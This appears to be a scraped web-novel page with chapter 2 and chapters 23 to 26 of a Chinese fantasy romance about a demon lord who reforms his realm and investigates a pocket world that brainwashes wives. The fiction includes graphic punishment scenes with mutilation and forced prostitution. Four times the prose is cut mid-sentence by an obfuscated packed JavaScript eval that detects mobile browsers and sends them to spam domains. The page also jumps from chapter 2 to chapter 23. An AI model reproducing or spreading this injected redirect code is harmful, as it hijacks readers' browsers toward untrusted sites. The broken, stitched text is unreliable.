《魔尊他邪得发正》 2. 第 2 章 谢晚卿醉得不省人事,痛痛快快睡了一夜,第二日一大早就带着两个护法风风火火的把祠堂拆了。 灵石堆积成山,按他的规划足够花个几十年,卷王有了钱瞬间干劲十足,大刀阔斧迈步出门时突然被提醒,“主子,你后颈处有一块红痕。” 云华看得清清楚楚,她还想说那有点像指痕,但主子洁身自好,后宫空置,昨夜独自睡在寝宫,被人在后颈捏出红痕实在不合理。 “还真是。”云宵特意凑过去看了一眼,眸中笑意暧昧,“主子昨夜醉酒,怕不是酒后乱……” “滚滚滚。”谢晚卿给了他一脚,“这应该是搬帝尊不小心撞的,少在那给本尊造谣。” 都知道他对帝尊崇拜得不行,云宵没敢拿帝尊开玩笑,见他特意回寝殿仔细检查,确认帝尊玉像从头到尾哪都没磕坏才放心回来,忍不住偷偷跟云华八卦。 “昨夜主子是抱着那玉像睡的吧,听闻正道断袖之风盛行,主子该不会……啧啧啧……” 云华脚步猛地停住,“主子,云宵说你是断……” “别别别!”云宵一把捂住她的嘴,“你别告状啊!回头主子能打死我!” 谢晚卿不是断袖,甚至对美人也没兴趣,一门心思扑在整顿魔界上,从前还能半月或者一个月休息一回,回寝殿睡一觉,这回有了足够的灵石便整日在外忙碌,非得是两个护法架着他回去休息才行。 “主子,两个月了,你修为再高也不能一直这么熬着。” 云华把寝殿门一关,守在门口说什么也不让他出来。 旁人两日没合眼都会觉得累,她家主子也不知道哪来那么多精力,两眼一睁就是干,难怪从前几百年就能当上仙,这也太努力了。 “行行行,我睡觉,你们都回去歇着吧。” 谢晚卿一点也不困,干待着他也待不住,最后只能又拿出两坛酒准备把自己灌醉,醉了就能睡了。 上回离床榻太近,他趴在偶像身上睡了一宿,这回长记性了,坐在桌边喝的,但喝醉了一激动,又跑去榻边对着偶像念叨。 “等魔界好起来,人妖魔就得给我重新排序,魔界……我们魔界要在前面,先立个小目标,魔界要当老大……” “偶像……偶像你等我,给我一万年,我也跟你……跟你一样,我就是下一个秦始……额……下一个帝尊,我也做天地共主!” “主角?主角算个屁!我不让路,我自己……我努力上位我就是主角!” 他把雄心壮志说了个遍,最后又迷迷糊糊爬上去趴偶像身上睡着了,两只手搂着玉像的脖子,颇有些把人家当抱枕的意思。 片刻后,从玉像身上散发出许多莹白色的光点,缓缓汇聚成一只透明的大手,捏着他后颈把他往上拎。 “偶像……” 那手似乎听到了他的话,在空中顿了顿,正要继续把人拎起来扔开,谢晚卿在睡梦中又呢喃了几句,“偶像是真好啊,借我那么多灵石,等我给你建大大大……超级大祠堂,一定……一定报答您老人家……” 一刻钟后,那透明的大手缓缓消失,任由醉鬼在帝尊玉像上又搂又蹭,四仰八叉睡了一夜。 鉴于两个护法太担心自己身体吃不消,谢晚卿隔几日就回寝殿休息一晚,但基本不睡觉,白天在外忙碌,夜里就趴在书案上埋头苦写。 就算偶尔熬不住了睡一觉,也是喝了酒醉倒在玉像上,越发熟门熟路,不抱着当抱枕都有点睡不着了。 手边那本《魔界新规》从几页变成几十页,等最后彻底写完足有两千页,他在魔界也已经做了魔尊三十年。 三十年没磨平谢晚卿的雄心壮志,反而越发充满激情,一模一样的《魔界新规》誊写出来许多,很快便召集所有魔王一人给了一本。 “日后魔界法度,皆以此书为准,魔界人人通读背诵,其中法度全部落实之日,便是本尊重开魔界通道之时。” 魔王们翻了翻那本书,互相看看,眼里基本都写着同一句话:魔尊有病? 繁文缛节规矩法度都是正道才有的东西,魔界向来无拘无束,若是他们也按规矩行事,诸多束缚,那跟正道那群伪君子有什么区别? “魔尊,你这些规矩分明是要逼死我们啊。” 有人带头,其余人纷纷附和。 “就是,我们魔族这不能干那不能干,让我们怎么活?” “魔尊在正道待久了,你一人清高就行了,何必带着我们一起。” “就算是非我族类其心必异,魔尊也没必要这么折磨我们断我们生路,这规矩一定,用不了百年魔族就要灭族了……” 谢晚卿坐在魔尊宝座上看他们群情激愤,越说越有底气,等他们停下才笑着询问,“那你们说,这里面哪条规矩不合适啊?” “都不合适。”一个胡子都有些花白的魔王仗着自己年纪大,多年来在魔界有些威望,站出来不卑不亢道:“魔尊,单说不得交易女子这一条,魔族都知道,豆蔻年华的女子炼制做炉鼎效果才最好。” “这些女子比灵石还有用,你不让交易,我们靠什么增长修为?修为上不去,正道那些王八蛋更得逮着我们欺负。” “是吗?”谢晚卿嘴角上扬的弧度更大了,“那你说说,这样的炉鼎你养了多少啊?” 那魔王得意的伸出一根手指,“不多不少,正好一千个,若是通道开启,再抓几个回来,老夫不日便可突破瓶颈,修为更上一……啊啊啊啊!” 伴随着一声惨叫,他那根手指还没收回去,下半身便一片鲜血淋漓,原本胡子都白了的老头当众变了容貌,易容术的遮掩下,娇俏的少女捂着下半身疼得满地打滚。 “不是要炉鼎吗?本尊看他就不错,修为也不低,赏你们了。” 谢晚卿大手一挥,那魔王的容貌又美艳了几分,连惨叫声都娇媚起来。 “还有哪条不合适,都说出来,本尊好好跟你们解释解释。” 一众魔王瞬间低头噤声,□□一阵阵发凉,暗道这疯子魔尊今日又开始发疯了。 谢晚卿还在笑,就这么笑着欣赏地上的人血流不止,却无人敢上前搀扶,方才还一致对外的魔王们恨不得撑起结界跟那人保持距离。 “怎么,这么好的炉鼎你们都不要?”谢晚卿惋惜的摇摇头,“算了,云宵,你找个青楼把他送进去,留口气,什么时候他的修为被吸干了,什么时候再让他咽气。” “云华去传令,他那些儿女,无论男女,谁把那一千个炉鼎给本尊安然无恙送到主城,谁就继承他的王位和封地。” 一千个被强行炼制成炉鼎的少女啊,这背后得是多少人家的破碎,让那些痛失女儿的父母怎么活…… 谢晚卿知道魔界并非都是堕魔后不得已躲进来的苦命人,确实有魔作恶多端,可真面对这么残忍的现实,眼里的杀意还是藏不住。 一个魔王就能祸害这么多人,魔界若是不整治,还会有多少无辜的人毁在他们手里? 不可能都杀光,他做魔尊根基还不稳,都杀了也太便宜他们了,得活着,活得越久越好,一个不落的活着赎罪…… 从前只是些小打小闹,魔尊虽然跋扈了些,却不会损害太多魔族根本利益,如今《魔界新规》一出来,还有老魔王被当场杀鸡儆猴,整个魔界一夕之间暗潮涌动。 魔族都看明白了,这从正道来的疯子一样的魔尊不是跟他们开玩笑,也不是只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14265264|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们臣服,是要让他们必须按他的规矩行事,否则只有死路一条。 不过五日,魔界各处叛乱接连不断,更有甚者想联合起来攻打主城,云华和云宵皆是面色凝重,谢晚卿却一点不着急,去地牢把当年被自己拉下魔尊之位的小魔尊无沉放出来了。 当年正值魔界内斗,老魔尊惨死,几个魔王选了个修为不太高年纪还小的小魔尊,若不是谢晚卿趁机杀过来,那小魔尊就得当个没有实权的傀儡。 无沉是魔族王室正统血脉,黑发红眸,几十年不见天日,骤然被放出来还愣了愣,目光对上谢晚卿那张艳若桃花的脸,瞬间暴怒着要冲过去,“谢晚卿!你们正道欺人太甚!” “不不不,不是我们正道,是他们正道。”谢晚卿指尖萦绕着一缕魔气,送到他眼前让他看个清楚,“我现在也是魔,正道追杀我,说我堕魔就该死,可我一点都不想死,只能躲进来做魔尊。” 虽是被囚禁地牢几十年,灵力尽封,但谢晚卿特意嘱咐过派人照顾他,无沉没有做魔尊时的威风,却也不算狼狈,一身黑衣干净整洁,谢晚卿随手拉着他身上的锁链带他出了魔宫。 “你自己看,魔界在我手里很好,我还能让它更好。” 两人在魔宫之上凌空而立,放眼望去,昔日乌烟瘴气充满血腥的地方如今焕然一新,街上茶肆酒馆井然有序,孩童老人欢声笑语,书院里还依稀能听到些读书声…… 这都是无沉从未在魔界见过的景象,只有幼年偷跑去人界见过一回,如今时过境迁,魔界竟也能这般繁华,他不由得有些看痴了。 “没道理只有正道能一家独大,魔族就只能人人喊打,活得暗无天日,人有好坏,魔自然也有。” 谢晚卿在他身侧看着下方景象,嗓音悠远,“只要你愿意合作,我可以让魔界和正道并驾齐驱,甚至超越正道。” 无沉猛地转头看向他,眸中满是不可置信。 “你是魔族王室正统血脉,难道不想看你的子民过得很好,看魔族走出魔界,向世人证明魔族并不比妖族和人族差吗?” “这些年正道做了亏心事,究竟嫁祸给魔族多少,你当真不知?不想为魔族申冤?” 谢晚卿像长辈一样拍拍他的肩膀,“你跟那些魔王不是一类人,你不是贪图享乐,你有野心,不然不会被我关这么多年,宁可做阶下囚也不自我了结,但你太小了,或许再给你几百年,让你成长起来,你也能实现野心和抱负,但……” “我在这里,你来不及了。” 就像不甘心做炮灰给主角让路一样,谢晚卿始终相信时机和努力都是能力的一种,他占了好时机,无沉太小了,没有他无沉或许也能成就一番霸业,但他不会给无沉机会,成王败寇,他也等不起那么多年。 “两条路,要么我放了你,你跟我打一架,生死有命,要么……” 谢晚卿拿出一颗丹药送到他面前,“你吃了这个,臣服我,我带你,带魔族,一步步把那些道貌岸然的正道踩在脚下,让魔族都是好魔,所有魔都能在修真界堂堂正正的活。” 说话间,他又带着无沉瞬移回了自己寝殿,站在榻边拜了拜,“帝尊的玉像,从前供奉在仙宫,你应该听说过,我们有这个,日后我们魔界便是修真界的正统。” 无沉瞳孔地震,看看那玉像再看看他,心知他说的都是真的,可目光还是数次变换,最后嗓音微颤,“你……你夜里和帝尊玉像……同榻而眠?” 谢晚卿:??? “你竟敢……你……” 无沉吐字越发艰难,听说过他做魔尊很疯很变态,但今日百闻不如一见,“谢晚卿,你竟敢玷……玷污帝尊?” 谢晚卿:??! 23.第 23 章 很多时候谢晚卿行事旁人都是看不懂的,看似离经叛道,结果又总是过于喜人,跟在他身边的人就都习惯了只听命,不多置喙。 但…… “谢晚卿,你……你这对吗?”无沉手里拿着一堆用空了瓶子的毒药,作为经受过《魔界新规》洗礼的魔,他说这话时眼神都是飘的,心虚到觉得对不起如今魔魔遵纪守法的魔界。 “哪不对?”谢晚卿捆好又一对昏迷不醒的道侣,手往旁边一伸,“你知道这些能放倒大乘期以下的毒药有多贵吗?云华,记好账,回头这些都得找闻惜那冤大头报销。” 云华忙着记账和捆昏睡中的女子,无沉负责整理毒药,宁烈带人去下一家了,他这手伸出去才想起来没人能理他,正要收回,一截绳子轻飘飘落在他掌心。 还带着已经系好的绳结。 谢晚卿扯着那新奇系法的绳结挑挑眉,“没听我儿子说吗?这不对。” “此结更结实些。” 辞幽修长的手指不紧不慢又系了个绳结,动作自然的递给他,“救人之法,且省时省力,何来高低贵贱一说?” 一个出主意下毒捆人,一个递绳子给研究更结实的绳结,无沉在旁边欲言又止。 要不怎么说你俩能搞到一块儿去呢? 这野男人真会投其所好! 天黑之前众人堪堪扫荡了整个小世界,一对道侣都没落下,全给捆在各自住处,确保今夜醒不过来动不了,谁也别想渡劫。 桃若被云华领着认了一百多个姐姐,盛着一脑袋浆糊靠在云华身上,天真单纯的小桃花看着像是快枯萎了,“记不住,根本记不住,都是姐姐,好多姐姐啊,我想我夫君了……” “若若,记不住是吗?”谢晚卿翻翻储物戒,找出一包给小器灵准备的糕点递过去。 桃若接过来小口小口的啃,刚想道谢,又听他温柔含笑道:“记不住我们就都要没命哦。” 桃花香猛地浓烈一瞬,桃若咬着糕点瞪圆了眼睛,哆哆嗦嗦往云华怀里缩。 “主子说得夸张了些。”云华站立如松,人在自己怀里抖成筛子也不知道抱着安慰下,只有些担忧的解释,“你不会有事,主子独自逃回魔界也不难,剩下的人生死由命罢了。” 桃若手里的糕点“啪嗒”一声掉在脚边。 谢晚卿无奈摇头,“云华你温柔点,你看把人给吓得。” 众人:你说谁给吓得? 最后一缕夕阳也消失在天边,体验过一次的失重感浮现,谢晚卿闭了闭眼,无视景物变换,淡定坐到桌边一伸手,“借点灵力取暖?” 对这座跟他犯冲的雪山和宫殿,他现在已经放弃挣扎了,找出这小世界为何能创造那么多恋爱脑之前他是不会出去的,日日都住就不能要脸。 不然就得冻得要他命。 辞幽指尖搭上他手腕,不多时暖洋洋的灵力游走在经脉中,驱散一身寒意,他神魂都跟着舒服得抖了下。 温热的指尖自觉退开,懂分寸知进退。 【你不愿意,所以不碰。】 这句话没来由的又在谢晚卿脑袋里转了一圈,配上辞幽不知真假的分寸感,他还真就品出了些“尊重”的意思。 一个因为所谓天命或者情劫,带着目的来攻略他的人,这种尊重出现得实在突兀,甚至有点好笑。 他指尖在手腕上辞幽摸过的地方点了点,就这么笑出了声,“要不再摸两下?” 莹白的手腕在眼前晃了晃,招猫逗狗似的,态度随意,可辞幽就是能看出他的不悦,就像当时在魔界看见他指尖捻衣角,觉得他在烦躁。 那段丢失的记忆里,他们一定待在一起很久,久到一条龙和一个异世的少年关系格外亲近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779702|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,单凭直觉就能察觉那人的情绪。 无形的灵力牵动衣袖,遮盖住裸露在外的一截手腕,辞幽没开口回答,却把答案给得再明显不过。 谢晚卿无趣的收回手,备感失望。 跟辞幽是绝不可能吵起来的,他再怎么恶意挑衅,态度恶劣,都不会让辞幽有半点失态。 从前他装的敬重辞幽照单全收,现在给的阴阳怪气也一并受着,这种人活得太久了,又一直修身养性,情绪稳定得可怕。 被当做渡情劫的工具人是挺不爽,但面对这么个老王八似的罪魁祸首他也没辙,赶不走,打不过,又没做什么逼得他想不顾一切撕破脸,总结起来就俩字:难缠。 “啧,这么正经?”谢晚卿起身走过去,居高临下看着坐在椅子上的男人,眼尾轻挑,“上回抱得不是挺顺手吗?” 他微微俯身,不远不近贴在辞幽耳边,刻意放柔的女声带着一点勾子似的媚,“抱舒服了吗?” 辞幽垂在身侧的手微微动了动。 谢晚卿精准盯住那颤动一下的手指,喉间溢出一声哼笑,声音不大,嘲讽意味十足,转身带着胜利者的姿态走向床榻。 他讨厌被动,面对辞幽哪怕是再无计可施,占一点微小的上风也会让他心情不错,毕竟他不是变态,不愿意抱回去就只能口头上过过瘾,调戏下无情无欲的老前辈。 辞幽盯着他的背影,直到他在榻上躺下才收回目光,垂眸打量自己的右手。 这只手曾在他腰间留下指痕,过了这么久再被提起,似乎还能感受到一点当时的余温,并不烫人,却丝丝缕缕渗透进去,带起一点难耐的痒意。 微妙的感觉似曾相识,跟上回那股莫名的躁动有些像,这世上只有两种东西辞幽不曾体验过,辞幽自己一时也分不清,且无从考证。 那感觉究竟是情?还是欲? 24.第 24 章 谢晚卿躺在榻上死活睡不着。 他睡觉这件事一直很迷,不爱睡,不想睡,时隔五百多年他记不太清自己在原来的世界究竟为什么不爱睡觉了,但在修真界他睡觉只能靠两种东西:酒和帝尊玉像。 在仙宫是借着给帝尊敬香赖在祠堂里,有时靠着玉像睡,有时随便找个地方闻着香火味眯一会儿,那时候系统还说他是帝尊的脑残粉。 堕魔后这种情况越来越严重,东躲西藏的那段日子他恨不得时时刻刻抱着帝尊玉像才安心,到后来他夜里趴在玉像身上就成了习惯。 这算是精神寄托,或者精神支柱,他自己是这么解释的。 然而现在他闭眼躺在这,能清楚感受到辞幽坐在不远处,四周安静下来,落雪声都显得格外清晰,让他倏地想起一件怪事:那天夜里他趴在辞幽身上睡得很沉。 他想过辞幽用了什么手段占他便宜,但确认过这人无情无欲不可能多此一举,他那一觉就显得诡异起来了。 因为辞幽是帝尊的至交好友?这样的关系也能让他睡得安心? 谢晚卿转头看向坐在桌边的男人,他知道辞幽一直在看他,如今四目相对,两人任由目光交汇,安静得像是未曾看到彼此,谁也不开口。 没用的默契又增加了。 这一夜谁都没睡,一个默契的不靠近床榻,一个时不时瞥过去一眼,说不出那眼神是防备还是别的什么情绪。 气氛莫名,却总有些即将破土而出的怀疑萦绕在谢晚卿心头。 . 落英缤纷的桃林在晨光中静谧祥和,桃花的香气沁人心脾,如此岁月静好之景却时不时被一声惊呼打碎。 “夫君呢?我夫君在哪?” “你们是谁?为什么绑我?” “快……快放开我,夫君不许我出门,我不认识你们……” 陆续有人苏醒,发觉自己被绑在椅子上身边没有夫君陪伴,姑娘们各有各的惊慌,哭声喊声连成一片,偶尔也有几人镇定自若,环视一周后把目光投向离渡口最近的那棵桃树。 树上躺着个一身男装的人,看身形似乎是个女子,漫不经心打量桃林中所有人,时不时低头在手中的书上勾勾画画。 还能保持冷静的人都知道此人才是幕后主使,奈何人家不理她们,她们也是辗转打听了许久才知道他是那个名叫白素贞的魔尊,住在雪山上,昨日那些宣传魔族都纸张就是他弄出来的。 “这位道友,敢问魔族绑我们来所为何事?” 路过的辞幽被一个女子叫住,他脚步微顿,遥遥望向树上看过来的人,连那人眼里的揶揄都看得清清楚楚。 谢晚卿身边只有他一人不是魔族,似乎被默认成了不会同流合污的那类人,这已经是今日他被拦住询问第二十七次了。 他鲜少开口与人交谈,谢晚卿便这么整他,来来回回使唤他在那些姑娘中间经过,看他一遍遍回答“不知”。 恶趣味的小玩笑,甚至有些幼稚。 只是这次他没再回答那两个字,未曾回头,对身后叫住他的女子淡淡道:“读书。” 谢晚卿扬了扬嘴角,看着心情不错,笑意却不达眼底。 他没跟任何人说自己要做什么,辞幽却一猜一个准,先前那一遍一遍的不知道都只是配合他玩闹。 要么是辞幽有什么秘法猜中他的心思,要么是……太过了解他。 满打满算不过相处两月的人,哪来的这些了解? “白姐姐,我全都记住了。”桃若站在树下朝谢晚卿挥手,笑颜如花,身侧还站着云华,“夫君已经验过了,我一个都没记错。” 她怀里抱着那把差点要她命的残剑,眼睛还有些红,一大早就亦步亦趋跟在云华身后,乖乖的不吵不闹,还会主动帮云华做些力所能及的事。 云华动作生疏的摸摸她的头,即便僵硬着看不出亲昵,她还是笑盈盈的去蹭云华掌心,似乎十分珍惜这样的亲近。 “主子,你猜的没错。”云华盯着她乖巧的笑容,传音时眸中闪过不忍,“她今日特别依赖我,像是……她……” “她真把你当成了夫君。”谢晚卿合上书,替她补完了这句话。 昨夜才哭肿了眼睛,今日就开始依赖新的夫君,“夫君”这个词根本不是特指某个人,而是这个称呼给谁,她就对谁产生依赖,乖巧讨好。 这也是谢晚卿想试探的秘密之一,这个小世界把所有女子都变成恋爱脑,对夫君言听计从,定然是有某种他们还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784456|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没查到的,特殊的能力。 小器灵究竟是什么神器的器灵,这神器的主人是不是洛启明,都很重要。 不过当务之急还是先给这些女子好好上个课。 一刻钟后,整个桃林上千名女子,人手一本《魔界新规》,谢晚卿倚在树上,声音掺杂灵力响在每个人耳边。 “诸位,今日起书中被圈出来的所有内容都要通读背诵,无论愿不愿意加入魔族,所有人都要背。” 被夫君限制自由是不对的,做夫君飞升路上的垫脚石更是荒谬之极。 堕魔不代表一辈子就这么毁了,除了夫君再无人接纳她们都是假的,如果她们愿意,魔界随时可以接纳。 谢晚卿无需多说什么,只要她们背了,自然会懂这些道理,《魔界新规》中针对女子的规矩太多了,没有一条是束缚,皆是维护。 “我们凭什么听你的?”几个胆大的高声质问。 谢晚卿打了个响指,身后结界消散,露出一堆又被喂了一回毒药还未苏醒的男人。 “凭你们夫君在我手里。”他眼尾上挑着,是个很温柔的弧度,只是嘴里的话听着像个悍匪,“你们不配合,不认真理解认真背,你们的夫君就要遭殃。” “当然,我其实分不清你们夫君具体是哪一个,配不上对。” 姑娘们一愣。 “所以你们还得互相监督,毕竟一个不听话,我又分不清她夫君是谁,随便挑中个男人揍一顿,指不定揍到谁的夫君。” 姑娘们:??! “不过还是有好消息的,比如我夫君也在这里。”谢晚卿随手指了指辞幽,“你们可以先记仇,回头报复给他。” “我们很恩爱,你们报复他,比报复我还让我难受。” 姑娘们:“……”你对你夫君真好。 辞幽淡定站在原地充当活靶子,迎着众人一言难尽的目光微微颔首,“对,他会心疼。” “没错,本尊非常,非常心疼。”最后两个字拖长了尾音,听着不怎么正经。 辞幽抬眼看向他,温声道:“有劳夫人了。” 谢晚卿温柔一笑,“不用谢,夫君嘛,应该的。” 众人:“……”恩爱到互相阴阳怪气? 25.第 25 章 整个小世界的道侣都被绑来桃林,背书声此起彼伏,这么大动静却不见惊动小世界主人,无沉维持秩序之余总觉得不太对。 “洛启明从来不查看这里吗?就算有那个闻惜派人查案,他堂堂一城之主也不至于被拘着无法分神。” “谁说他是这小世界的主人了?”谢晚卿捏着桂花样式的灵玉把玩,“若是小世界的主人受了伤还在修养,还有空管这些闲事吗?” “你怎么知道此人受伤?”无沉不解。 谢晚卿没回答,折了个桃枝往树下一扔,刚好落在辞幽肩头,辞幽捏住桃枝看过来,他歪头笑笑,一幅手欠讨人嫌的无赖样,“问你呢,你说这小世界的主人受伤了吗?” 无沉:??? 所以你刚才后面那句不是跟我说? 他这儿子当得毫无存在感,站在辞幽对面脸都绿了。 “你贿赂器灵,扰乱小世界秩序他都未曾插手,想来伤得不轻。”辞幽指尖微动,桃枝回到谢晚卿手边重新与树干融为一体,“六道雷劫便要修养几日,像是寿数将近。” 六道雷劫?那不是桃若的夫君吗? 无沉听得云里雾里,想问桃若的夫君明明被劈得身死道消怎么可能是小世界的主人,见桃若和云华走近,只能咽回去。 “你们在这看着,我出去走走。” 谢晚卿从树上跳下来,慢慢悠悠走出桃林,仿佛未曾察觉身后跟上来的人,漫无目的在小世界到处走,手里始终拿着那块灵玉。 背书声越来越远,直到彻底听不到他才停下脚步,指尖在那桂花灵玉上轻轻一敲,灵玉先是晃晃悠悠在空中转了几圈,随后飘向东南方。 这是上古时期的寻灵术,寻的是当时出自同一人之手,那朵栩栩如生的牡丹花。 谢晚卿不急着跟上去,好整以暇回头看向身后的男人,“不说点什么?” 两朵花都是辞幽给的,他骗小器灵给开后门进来,辞幽却直接下套想找小器灵本体,若不是他恰好看过记载寻灵术的古籍,估计下辈子也发现不了其中玄机。 “吾帮你寻她,有何不妥?”辞幽表情坦然。 “没有不妥,非常好。” 谢晚卿意味深长的勾勾嘴角,大步追上灵玉。 他找器灵本体所在是为了弄清楚真相,辞幽不与俗世牵连,却留了这个后手,除了飞升,这小世界里必定还有其他东西值得辞幽在意。 桂花灵玉落在冰原上,被寒冰阻隔再无法往下,两人同时在旁站定,却谁也不动手破冰,安静看着灵玉一下下撞上冰面。 “咔嚓。” 冰面被撞出的裂痕如蛛网般向四周扩散,眼看再撞一下便可撞碎寒冰,桂花灵玉突然在空中一滞,不多时便碎裂成灰,随风而散。 有人出手断了这条路。 “看来伤养得不错。”谢晚卿嗤笑一声,转身往回走。 他本来也没指望真能找到器灵本体,不过是探探路,顺便试探一下这小世界的主人对外界感知。 快成功了才出手,可见这伤没个三五日好不了,这段时间他可以放心折腾。 糕点、蜜饯、糖丸、牡丹纸鸢……熟悉的骗小孩道具再次出场,对着正午的太阳逐渐升高,只不过这回都是真的,不是魔气变幻。 小手从太阳旁边伸过来,谢晚卿拉着辞幽熟练作弊,几息过后便回到城主府给准备的客房。 外界还是清晨,远处隐隐约约能听到那些酿酒的美人在摘花,玩闹说笑好不热闹,城主府一切如常,仿佛根本没人发现一百多个魔族凭空消失。 “找洛启明还是找林栖,你选一个。” 他一点不拿自己当外人,默认辞幽得跟着一起干活。 “吾跟着你。” 谢晚卿点点头,“你去找洛启明。” 辞幽:“……” 林栖被关在城主府别院,四周皆是仙宫弟子把守,谢晚卿不费吹灰之力溜进去,进门便和端坐主位的闻惜打了个照面。 “魔尊这是何意?”闻惜见他穿着男装,顿了顿才继续说,“此事交给仙宫查办,你偷见林姑娘,恐有教唆之嫌。” 他一直都是这么个较真的性子,但谢晚卿真没想到他夜里趴墙角看魔尊和男宠调情,白日还能在这守株待兔。 怎么,仙宫是要完了,唯一的上仙没个正经事,光在这跟他找茬了吗? 谢晚卿自己找了把椅子坐下,朝对面的林栖笑笑,“林姑娘是我魔族女将,仙宫一向对魔族颇有微词,万一严刑逼供,本尊不来看着,岂不是要让林姑娘受苦……” 他胡扯一通,咬死了只是来看看林栖,等辞幽发觉不对找来,刚进门就被他勾勾手指抛了个媚眼。 “夫君你可终于来了,闻惜上仙一直缠着本尊说话,本尊都快见异思迁了。” 说着正事他又扯出这种不正经的腔调,闻惜脸色有些难看,却又不屑与他争辩,最终只是将两人都请出去,警告不许再私自见林栖。 “林姑娘不必担忧,本尊过几日便来接你回魔界。” 谢晚卿离开前给林栖吃了个定心丸,走到门口突然回头问她,“对了,林姑娘知道你夫君叫什么吗?” 林栖愣住了,好一会儿才微皱着眉头开始沉思,迟疑道:“我许是之前受了伤,有些记不清了,夫君是洛城城主,姓洛,名字……容我想想。” “我随口一问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788261|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想不起来便算了。” 谢晚卿顶着闻惜犹疑的眼神离开了别院。 那些女子进一次小世界就被洗脑了,只知道自己有夫君,却不记得夫君具体姓名,这夫君是谁都可以,只要叫了人夫君,哪怕此人是云华那样的女子她们也一样认,小世界的主人在飞升时想李代桃僵很容易。 桃若当时介绍夫君就是记不清姓名,现在林栖也一样,说明她确实已经进过了,那洛启明就也是即将被小世界主人取代的一员,且自己毫不知情。 打着宴请宾客的幌子一手操办此事,自己也对此深信不疑想要飞升,究竟什么人能让洛启明如此信任,小世界内飞升一次都没成功过,他还愿意飞蛾扑火? 谢晚卿想得出神,心中隐隐有了个猜测,正要回头跟辞幽说,却发现辞幽站在两步远的地方不动了,“吾方才去寻你,是因为洛启明不在府中。” “他竟然不想见林栖?不想找机会把人带进小世界?”谢晚卿脚步一顿,用神识细细感知,发现真没有洛启明的气息后拧了拧眉,“闻惜不可能放他离开城主府,仙宫查案都是要……” 他话音一顿,运转灵力打向四周,并未有任何景物炸裂的声音,眼前画面如同水波荡漾一般缓缓消散,周围景象也数次变换,最终定格在熟悉的雪山。 “闻惜这个蠢货!”谢晚卿牙咬得咯吱咯吱响,“谁教他这么用映心镜的!” 映心镜可连接幻境与现实,真中有假假中有真,他方才见的林栖和闻惜是真的,但这整座城主府都是假的,怎么可能有洛启明气息。 如今他想回到小世界,心中所想映射其中,又成了这座雪山。 为了试探他是不是谢晚卿,竟敢擅自动用仙尊的法器,闻惜怕是想除掉他想疯了。 “你怎么不早说?”谢晚卿捏了捏眉心平心静气。 辞幽:“你没问。” “……” “那现在怎么说了?” 辞幽不语,明明一本正经和他对视,谢晚卿却离奇的品出几分心虚。 这人心虚什么呢? 难道他一个上古时期的龙族也扛不住映心镜,看见幻境中招了? 谢晚卿一脸懵,环视一周后发现只有一座雪山更懵了。 映心映心,幻境都是心中所想,此刻他心中想的是回到小世界,这雪山是他的幻境,辞幽的幻境他没看到,可这人却能在他的幻境中寸步不离跟着他。 这里除了雪山就只有他和辞幽,辞幽的幻境呢?要是没有幻境,不可能跟他走出这么远才察觉异常开口提醒,现在还莫名其妙心虚。 谢晚卿重新看向辞幽,目光上下审视,“你心里想的是什么?” 26.第 26 章 辞幽动了下唇,似乎是想开口,最后不知为何,眸光倏然处变不惊起来,一个字也没说。 两人面对面站在一处,谢晚卿看不到身后雪山逐渐扭曲消散,只觉辞幽站在那突然有了重影,几息过后两个辞幽在对面如出一辙的身姿沉稳挺拔。 谢晚卿:“……” 他逼问辞幽,心里想的自然就是辞幽,幻象随心而动,那方才没有旁的景物,只有人,辞幽想的是…… 一股心照不宣的沉默在空气中蔓延。 片刻后,辞幽开口打破沉默,“你心里想的是什么?” 两个辞幽两张嘴,同口同声骚断腿。 好一个反客为主风水轮流转,他还先发制人上了。 偏偏幻象就站在那,自己现在不占理。 谢晚卿被问得想骂人,压下恼火上前一步,抬手扶住辞幽肩膀,指尖一路蜿蜒着抚上侧颈,感受到掌下温热不断绷紧,他勾着唇角凑近,拖着上扬的尾音,“当然是……想你啊。” 